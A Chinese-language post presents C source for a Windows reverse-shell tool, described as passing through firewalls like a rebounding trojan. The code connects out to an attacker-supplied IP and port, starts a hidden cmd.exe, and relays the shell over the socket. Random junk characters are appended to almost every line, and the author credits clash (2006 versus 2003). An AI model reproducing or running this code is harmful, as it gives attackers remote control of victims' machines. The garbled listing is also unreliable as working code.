这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =y]FcxF
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/* ============================== Q7pjF`wu
Rebound port in Windows NT ]EfM;'j[
By wind,2006/7 I'c
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===============================*/ 4;)aGN{e
#include -`ss7j&b3
#include PNRZUZ4Z|
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#pragma comment(lib,"wsock32.lib") h:Hpz
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void OutputShell(); J{r3y&:
SOCKET sClient; (
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2yPF'Q7u_.
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void main(int argc,char **argv) B
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{ {(_>A\zi
WSADATA stWsaData; @%
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int nRet; u$
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SOCKADDR_IN stSaiClient,stSaiServer; 3}nkTZ G
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if(argc != 3) 0/fA>%&
{ `Oe"s_O#
printf("Useage:\n\rRebound DestIP DestPort\n"); ;{Tf:j'g
return; x]pZcx9
} Xo
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WSAStartup(MAKEWORD(2,2),&stWsaData); r(p@{L185
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y%#r&de
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stSaiClient.sin_family = AF_INET; +a74] H"
stSaiClient.sin_port = htons(0); :z a:gs0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r9whW;"q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3AcCa>
{ `l}+BI`4
printf("Bind Socket Failed!\n"); )|IMhB+4
return; z~\Y*\f^Y3
} 2M*84oh8P
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stSaiServer.sin_family = AF_INET; +dJLT}I8M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |\J! x|xy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nPj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n--w-1
{ ,xuA%CF-S
printf("Connect Error!"); r"x/,!_E
return; ghDOz
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} 3#~w#Q0%
OutputShell(); =6< Am
} }o2e&.$4d
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void OutputShell() cB|Rj}40v
{ 4=7h1qex
char szBuff[1024]; 5<mGG;F
SECURITY_ATTRIBUTES stSecurityAttributes; IT0 [;eqR
OSVERSIONINFO stOsversionInfo; Bb@m-+f
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b";D*\=x
STARTUPINFO stStartupInfo; 8 CCA}lOG
char *szShell; D5jZ;z}
PROCESS_INFORMATION stProcessInformation; >SaT?k1E
unsigned long lBytesRead; *k<{ nj@y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^^{7`X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~#nbD-*#
stSecurityAttributes.lpSecurityDescriptor = 0; [FN4 _
stSecurityAttributes.bInheritHandle = TRUE; >Z!H9]f(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }8)iFP&"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jb0LMl}/A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^K`Vqo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HG:9yP<,o
stStartupInfo.wShowWindow = SW_HIDE; dXewS_7
stStartupInfo.hStdInput = hReadPipe; ~2 M+Me
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iK=SK3)vR
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GetVersionEx(&stOsversionInfo); Yo a|.2f
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switch(stOsversionInfo.dwPlatformId) >cRE$d?
{ Mxk0XFA
case 1: &#DKB#.2
szShell = "command.com"; IPEJ7n49
break; z2Kvp"-}
default: <6[P5>
szShell = "cmd.exe"; i)mQ?Y#o
break; :iVEm9pB)
} Df_*W"(v
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HqKI|^
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send(sClient,szMsg,77,0); jO+#$=C
while(1)
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{ @-H D9h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <[w>Mbqj_
if(lBytesRead) EL+P,q/b
{ fkWTO"f-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mjXO}q7
send(sClient,szBuff,lBytesRead,0); aH+n]J]
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} VT~jgsY
else ;JAb8dyS2
{ /%9CR'%*c
lBytesRead=recv(sClient,szBuff,1024,0); +tSfx
if(lBytesRead<=0) break; jo^+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W^Z#_{
} Y KWtsy
} q>H f2R
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return; >p,FAz>
}